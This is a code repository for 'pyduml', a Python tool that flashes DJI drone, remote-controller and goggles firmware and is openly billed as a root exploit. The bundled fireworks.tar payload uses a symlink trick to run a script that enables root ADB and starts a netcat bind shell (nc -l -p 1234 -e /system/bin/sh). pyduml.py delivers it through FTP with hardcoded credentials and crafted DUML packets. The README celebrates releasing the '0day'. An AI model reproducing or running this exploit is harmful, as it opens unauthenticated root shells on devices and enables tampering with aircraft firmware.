├── README.md ├── fireworks.tar ├── history.jpg ├── pyduml.py ├── table_crc.py └── utils.py /README.md: -------------------------------------------------------------------------------- 1 | Pyduml 2 | ------ 3 | Python based DUML [DJI Universal Markup Language] Exploit & FW upgrade/downgrade tool. 4 | 5 | Thanks to the following: 6 | @POV @hostile, @the_lord, @hfman, @jayemdee 7 | 8 | ---------------------------------------------------------------- 9 | Dependencies: 10 | 11 | - python 2.7 (not sure if 3+ has been tested yet) 12 | 13 | - pyserial 3.3 package (install with 'pip install pyserial' and then follow that with 'pip install --upgrade pyserial' to be sure you are on newest version) 14 | 15 | - pathlib 1.0.1 (install with 'pip install pathlib') 16 | 17 | ---------------------------------------------------------------- 18 | Normal Usage: python pyduml.py 19 | This will autodetect your device and communications port and setup the RNDIS network for ftp file transfer under linux. 20 | If something doesnt work right with this you can use the advanced usage instructions below. 21 | 22 | ---------------------------------------------------------------- 23 | Advanced Usage: python pyduml.py serial_port debugmode(optional) 24 | 25 | Serial Port should resemble '/dev/cu.usbmodemXXXX' on Apple 26 | or on Linux should be something like '/dev/ttyACM0'where XXXX 27 | is your specific device number connected 28 | 29 | ---------------------------------------------------------------- 30 | 31 | Use included RedHerring fireworks.tar to obtain root (DUMLHerring aka Dumb Herring). Just rename it to dji_system.bin. 32 | Run in standalone mode for use as a firmware upgrade / downgrade tool firmware bins here: [dji_system.bin](https://github.com/MAVProxyUser/dji_system.bin) 33 | 34 | 35 | ![HDnes](http://piq.codeus.net/static/media/userpics/piq_291737_400x400.png) 36 | 37 | ![Mutated Herrings have hit the seas...](https://raw.githubusercontent.com/hdnes/pyduml/master/history.jpg) 38 | 39 | ### #DeejayeyeHackingClub information repos aka "The OG's" (Original Gangsters) 40 | 41 | http://dji.retroroms.info/ - "Wiki" 42 | 43 | https://github.com/fvantienen/dji_rev - This repository contains tools for reverse engineering DJI product firmware images. 44 | 45 | https://github.com/Bin4ry/deejayeye-modder - APK "tweaks" for settings & "mods" for additional / altered functionality 46 | 47 | https://github.com/hdnes/pyduml - Assistant-less firmware pushes and DUMLHacks referred to as DUMBHerring when used with "fireworks.tar" from RedHerring. DJI silently changes Assistant? great... we will just stop using it. 48 | 49 | https://github.com/MAVProxyUser/P0VsRedHerring - RedHerring, aka "July 4th Independence Day exploit", "FTPD directory transversal 0day", etc. (Requires Assistant). We all needed a public root exploit... why not burn some 0day? 50 | 51 | https://github.com/MAVProxyUser/dji_system.bin - Current Archive of dji_system.bin files that compose firmware updates referenced by MD5 sum. These can be used to upgrade and downgrade, and root your I2, P4, Mavic, Spark, Goggles, and Mavic RC to your hearts content. (Use with pyduml or DUMLDore) 52 | 53 | https://github.com/MAVProxyUser/firm_cache - Extracted contents of dji_system.bin, in the future will be used to mix and match pieces of firmware for custom upgrade files. This repo was previously private... it is now open. 54 | 55 | https://github.com/MAVProxyUser/DUMLrub - Ruby port of PyDUML, and firmware cherry picking tool. Allows rolling of custom firmware images. 56 | 57 | https://github.com/jezzab/DUMLdore - Even windows users need some love, so DUMLDore was created to help archive, and flash dji_system.bin files on windows platforms. 58 | 59 | https://github.com/MAVProxyUser/DJI_ftpd_aes_unscramble - DJI has modified the GPL Busybox ftpd on Mavic, Spark, & Inspire 2 to include AES scrambling of downloaded files... this tool will reverse the scrambling 60 | -------------------------------------------------------------------------------- /fireworks.tar: -------------------------------------------------------------------------------- 1 | Burning0day.txt000644 000000 000024 00000000045 13132747436 014116 0ustar00rootstaff000000 000000 get root... Thx for all the fish P0V 2 | symlink000755 000000 000024 00000000000 13132747436 014337 2/data/.binustar00rootstaff000000 000000 symlink/grep000755 000000 000024 00000001073 13132747436 013546 0ustar00rootstaff000000 000000 /system/xbin/busybox touch /tmp/RedHerring.$$ 3 | /system/xbin/busybox touch /data/InYourGrill.$$ 4 | rm -rf /data/.bin/grep 5 | 6 | echo -n RedHerringHasFangs > /sys/class/android_usb/android0/iSerial 7 | setprop service.adb.root 1 8 | setprop service.adb.tcp.port -1 9 | setprop sys.usb.config rndis,mass_storage,bulk,acm,adb 10 | busybox devmem 0xe10093d0 8 0x40 #enable uart 11 | sleep 1 12 | # fuck!!!! work already! 13 | adb_en.sh NonSecurePrivilege 14 | stop adbd 15 | start adbd 16 | 17 | #while true; do /system/xbin/busybox nc -l -p 1234 -e /system/bin/sh & done 18 | /system/xbin/busybox nc -l -p 1234 -e /system/bin/sh 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /history.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hdnes/pyduml/3e092904bfd6902b313d00861a164364fe3fbd0d/history.jpg -------------------------------------------------------------------------------- /pyduml.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # HDnes pythonDUML 4 | # Thanks Hostile for the fireworks grepping all the fish. 5 | # Thanks the_lord for the sniffing 6 | # Thanks hfman & jayemdee for the usb and ftp work 7 | # Ugly SparkRC stuff from jan2642,bin4ry and the_lord 8 | 9 | import time 10 | import os 11 | import platform 12 | import sys 13 | import serial 14 | import struct 15 | import hashlib 16 | import socket 17 | 18 | from table_crc import * 19 | from utils import * 20 | from pathlib import Path 21 | from ftplib import FTP 22 | from serial.tools import list_ports 23 | 24 | def main(): 25 | platform_detection() 26 | device_selection_prompt() 27 | if device != 4: 28 | configure_usbserial() 29 | check_network() 30 | elif device == 4: 31 | configure_socket() 32 | define_firmware() 33 | if device != 4: 34 | generate_update_packets() 35 | write_packet(packet_1) # Enter upgrade mode (delete old file if exists) 36 | write_packet(packet_2) # Enable Reporting 37 | upload_binary() 38 | write_packet(packet_3) # Send File size 39 | write_packet(packet_4) # Send MD5 Hash for verification and Start Upgrade 40 | elif device == 4: 41 | doSparkRc() 42 | print ("--------------------------------------------------------------------------") 43 | print ("If you are upgrading/downgrading firmware, this may take a while.\nIf you are rooting, the process is almost instant. wait a few seconds and reboot your device.") 44 | if device != 4: 45 | ser.close 46 | elif device == 4: 47 | s.close() 48 | return 49 | 50 | def platform_detection(): 51 | global sysOS 52 | sysOS = platform.system() 53 | print("\033c") # clear screen 54 | return sysOS 55 | 56 | def device_selection_prompt(): 57 | global device 58 | device = input('\nSelect device number as follows: Aircraft = [1], RC = [2], Goggles = [3], SparkRC = [4]: ') 59 | if device == 1: 60 | print ("Exploit for Aircraft selected") 61 | elif device == 2: 62 | print ("Exploit for RC selected") 63 | print ("----------------------") 64 | print ("Rooting RC is finicky, if having difficulties try the following") 65 | print ("--------------------------------------------------------------------------") 66 | print ("after root completes:") 67 | print ("1: unplug before turning off") 68 | print ("2: turn off") 69 | print ("3: turn on (without usb connected)") 70 | print ("4: turn off") 71 | print ("5: plug in usb and turn on") 72 | 73 | elif device == 3: 74 | print ("Exploit for Goggles selected") 75 | 76 | elif device == 4: 77 | print("Spark RC selected") 78 | print ("--------------------------------------------------------------------------") 79 | return 80 | 81 | def find_port(): 82 | try: 83 | dji_dev = list(list_ports.grep("2ca3:001f"))[0][0] 84 | return dji_dev 85 | except: 86 | sys.exit("Error: No DJI device found plugged to your system. Please re-plug / reboot device and try again.\n") 87 | 88 | def check_network(): 89 | # Linux specific magic 90 | if sysOS == 'Linux': 91 | print("Attempting to to set IP on usb0...") 92 | set_ip_addr('usb0', '192.168.42.1') 93 | try: 94 | iface_exists("usb0") 95 | os.system('/sbin/ifconfig usb0 up') # linux specific hack: cant find a pure python way of bringing usb0 up after config 96 | print("Network setup successful.") 97 | except: 98 | sys.exit("Error: Unknown failure configuring RNDIS device.") 99 | return 100 | 101 | def configure_usbserial(): 102 | global comport 103 | 104 | # no command line args 105 | if len(sys.argv) < 2: 106 | comport = find_port() 107 | print ("Preparing to run pythonDUML exploit from a " + sysOS + " Machine using com port: " +comport) 108 | print ("If this is not the right device you can override by passing the device name as first argument to this script.\n") 109 | # parse command line args 110 | else: 111 | comport = sys.argv[1] 112 | print ("Preparing to run pythonDUML exploit from a " + sysOS + " Machine using com port: " +comport+ "\n") 113 | try: 114 | global ser 115 | ser = serial.Serial(comport) 116 | ser.baudrate = 115200 117 | except: 118 | print("Error: Could not open communications port " + comport + ".\n") 119 | sys.exit(0) 120 | return 121 | 122 | def configure_socket(): 123 | global s 124 | TCP_IP = '192.168.1.1' 125 | TCP_PORT = 19003 126 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 127 | s.connect((TCP_IP, TCP_PORT)) 128 | 129 | def write_packet(data): 130 | ser.write(data) # write a string 131 | time.sleep(0.1) 132 | hexout = ' '.join(format(x, '02X') for x in data) 133 | if len(sys.argv) > 2 and sys.argv[2] == "debugmode": 134 | print (hexout) 135 | else: 136 | print("Sent DUML packet...\n") 137 | return 138 | 139 | def send_duml_tcp(socket, source, target, cmd_type, cmd_set, cmd_id, payload = None): 140 | global sequence_number 141 | sequence_number = 0x34eb 142 | packet = bytearray.fromhex(u'55') 143 | length = 13 144 | if payload is not None: 145 | length = length + len(payload) 146 | 147 | if length > 0x3ff: 148 | print("Packet too large") 149 | exit(1) 150 | 151 | packet += struct.pack('B', length & 0xff) 152 | packet += struct.pack('B', (length >> 8) | 0x4) # MSB of length and protocol version 153 | hdr_crc = calc_pkt55_hdr_checksum(0x77, packet, 3) 154 | packet += struct.pack('B', hdr_crc) 155 | packet += struct.pack('B', source) 156 | packet += struct.pack('B', target) 157 | packet += struct.pack(' 2 and sys.argv[2] == "debugmode": 169 | print(' '.join(format(x, '02x') for x in packet)) 170 | else: 171 | print("Sent DUML packet...\n") 172 | 173 | sequence_number += 1 174 | 175 | def define_firmware(): 176 | global firmware_file 177 | if device != 4: 178 | firmware_file = Path("dji_system.bin").absolute() 179 | elif device == 4: 180 | firmware_file = Path("fw.tar").absolute() 181 | if firmware_file.is_file() is False: 182 | sys.exit("Error: No dji_system.bin or fw.tar found in CWD or it is not a valid file.\n") 183 | return 184 | 185 | def upload_binary(): 186 | print("Opening FTP connection to 192.168.42.2...\n") 187 | ftp = FTP("192.168.42.2", "Gimme", "DatROot!") 188 | fh = open(str(firmware_file), 'rb') 189 | ftp.set_pasv(True) # this is the fix for buggy ftp uploads we ran into in early days -jayemdee 190 | ftp.storbinary('STOR /upgrade/dji_system.bin', fh) 191 | print (str(firmware_file) + " uploaded to FTP with a remote file size of: " + str(ftp.size("/upgrade/dji_system.bin"))) 192 | ftp.cwd('upgrade') 193 | if '.bin' in ftp.nlst() : 194 | print(".bin directory already exists. Skipping directory creation...\n") 195 | else : 196 | print("Creating /upgrade/.bin directory...\n") 197 | ftp.mkd("/upgrade/.bin") 198 | 199 | fh.close() 200 | ftp.quit() 201 | return 202 | 203 | def generate_update_packets(): 204 | 205 | global packet_1 206 | global packet_2 207 | global packet_3 208 | global packet_4 209 | 210 | # Pack file size into 4 byte Long little endian 211 | dir_path = str(firmware_file) 212 | file_size = struct.pack('> 8 51 | v = vv ^ crc[((packet[i] ^ v) & 0xFF)] 52 | return v 53 | 54 | 55 | 56 | 57 | 58 | -------------------------------------------------------------------------------- /utils.py: -------------------------------------------------------------------------------- 1 | import sys, socket, struct, fcntl 2 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 3 | sockfd = sock.fileno() 4 | SIOCGIFADDR = 0x8915 5 | SIOCSIFADDR = 0x8916 6 | 7 | def iface_exists(iface): 8 | ifreq = struct.pack('16sH14s', iface, socket.AF_INET, '\x00'*14) 9 | try: 10 | res = fcntl.ioctl(sockfd, SIOCGIFADDR, ifreq) 11 | except: 12 | sys.exit("Error: "+iface+" device not found.") 13 | #ip = struct.unpack('16sH2x4s8x', res)[2] 14 | return True 15 | 16 | def set_ip_addr(iface, ip): 17 | try: 18 | bin_ip = socket.inet_aton(ip) 19 | ifreq = struct.pack('16sH2s4s8s', iface, socket.AF_INET, '\x00'*2, bin_ip, '\x00'*8) 20 | fcntl.ioctl(sock, SIOCSIFADDR, ifreq) 21 | except: 22 | sys.exit("Error setting " +ip+ " to " +iface+ ". Is your DJI device connected?\n") 23 | return True 24 | --------------------------------------------------------------------------------